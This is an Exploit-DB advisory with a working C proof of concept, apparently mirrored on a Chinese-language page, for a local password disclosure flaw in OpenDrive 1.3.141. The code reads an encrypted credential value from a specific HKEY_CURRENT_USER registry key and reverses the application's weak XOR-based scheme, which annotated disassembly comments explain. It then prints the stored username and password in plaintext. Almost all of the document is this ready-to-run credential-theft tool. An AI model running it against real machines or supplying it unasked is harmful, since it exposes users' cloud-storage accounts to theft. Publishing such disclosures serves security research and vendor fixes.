OpenDrive 1.3.141 – Local Password Disclosure

  • 作者: Glafkos Charalambous
    日期: 2011-06-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17362/
  • /*
    
    Title: OpenDrive <= 1.3.141 Local Password Disclosure
    Author(s): Glafkos Charalambous, George Nicolaou
    Contact: glafkos[at]astalavista[dot]com, ishtus[at]astalavista[dot]com
    Version: 1.3.141
    Vendor: http://www.opendrive.com
    Description: Authentication credentials used by the OpenDrive application are 
    prone to local disclosure attacks due to a weak cryptographic algorithm implementation
    
    Encrypted Values:
    [HKEY_CURRENT_USER\CLSID\{6E830710-B00F-4bec-9BD7-F95C1F837D02}]
    "Data1"=hex:6b,c3,24,c3,69,c3,6f,c3,00,00,04,c3,52,c3,01,c3,53,c3,00,c3,56,c3,0b,c3,54,c3,00,00
    
    Decrypted Values:
    Username: 0x41
    Password: d3c0d3m3
    
    */
    
    #include <stdio.h>
    #include <wchar.h>
    #include <windows.h>
    
    int ReadRegistryKey( LPBYTE lpBuffer, LPDWORD lpBufferSize, HKEY hKey, 
    					LPCTSTR lpszSubKey, LPCTSTR lpszValueName )
    {
    	HKEY hKeyLocal;
    	int nType;
    	if( RegOpenKeyEx(hKey, lpszSubKey, 0, KEY_READ, &hKeyLocal ) 
    		== ERROR_SUCCESS ) {
    		if( RegQueryValueEx( hKeyLocal, lpszValueName, 0, (LPDWORD)&nType,
    			lpBuffer, lpBufferSize ) == ERROR_SUCCESS ) {
    			return nType;
    		}
    		return -1;
    	}
    	return -1;
    }
    
    int GetRegistryValueSize( HKEY hKey, LPCTSTR lpszSubKey, LPCTSTR lpszValueName )
    {
    	HKEY hKeyLocal;
    	unsigned long nSize;
    	if( RegOpenKeyEx(hKey, lpszSubKey, 0, KEY_READ, &hKeyLocal ) == ERROR_SUCCESS ) {
    		if( RegQueryValueEx( hKeyLocal, lpszValueName, 0, NULL, NULL, (LPDWORD)&nSize ) == ERROR_SUCCESS) {
    			return (int)nSize;
    		}
    		return -1;
    	}
    	return -1;
    }
    
    void DecryptOpenDrive( unsigned short *ciphertxt, int len )
    {
    	short username[100] = {0};
    	short password[100] = {0};
    	
    	int count = 0; // ECX
    	int wchr = 0; // ESI
    	int pos = 0; // EAX
    	int round = 0; // EDX
    	unsigned short tmp;
    	short *output;
    	output = (short *)&username;
    	do {
    		//00401626|>83F9 02 /CMP ECX,2
    		//00401629|.7D 38 |JGE SHORT OpenDriv.00401663
    		//0040162B|.0FB73453|MOVZX ESI,WORD PTR DS:[EBX+EDX*2]
    		//0040162F|.66:85F6 |TEST SI,SI
    		//00401632|.75 0F |JNZ SHORT OpenDriv.00401643
    		if ( ( wchr = ciphertxt[round] ) ) {
    			//00401643|>8D9A 5BC3FFFF |LEA EBX,DWORD PTR DS:[EDX-3CA5] // 0, 1
    			tmp = round - 0x3CA5;
    			//00401649|.33DE|XOR EBX,ESI // ESI = ciph[0], ciph[1]
    			tmp = tmp ^ (unsigned int)wchr;
    			//0040164B|.8B748C 20 |MOV ESI,DWORD PTR SS:[ESP+ECX*4+20] 
    			//0040164F|.66:891C46 |MOV WORD PTR DS:[ESI+EAX*2],BX // out[0] = BX
    			*output++ = tmp;
    			//00401653|.40|INC EAX // 0 -> 1
    		}
    		else {
    			count++;
    			if(count >= 2) break;
    			//00401634|.8B748C 20 |MOV ESI,DWORD PTR SS:[ESP+ECX*4+20]
    			//00401638|.33DB|XOR EBX,EBX
    			//0040163A|.66:891C46 |MOV WORD PTR DS:[ESI+EAX*2],BX
    			*output = 0;
    			output = (short *)&password;
    			//0040163E|.41|INC ECX
    			//0040163F|.33C0|XOR EAX,EAX
    		}
    		round++;
    	} 
    	while(1); 
    	wprintf(L"Username: %ls\nPassword: %ls\n",username, password);
    }
    
    int main() {
    	int nRegistryKeySize;
    	LPBYTE buffer;
    	if ( (nRegistryKeySize = GetRegistryValueSize( HKEY_CURRENT_USER, TEXT("CLSID\\{6E830710-B00F-4bec-9BD7-F95C1F837D02}"), TEXT("Data1") ) ) != -1 ) {
    		buffer = (LPBYTE)calloc( nRegistryKeySize, sizeof(char) );
    		if( ReadRegistryKey(buffer, (LPDWORD)&nRegistryKeySize, HKEY_CURRENT_USER, TEXT("CLSID\\{6E830710-B00F-4bec-9BD7-F95C1F837D02}"), TEXT("Data1") ) != -1 ) {
    			DecryptOpenDrive( (unsigned short *)buffer, nRegistryKeySize );
    		}
    		else {
    		wprintf(L"Error reading registry key\n");
    		}
    	}
    }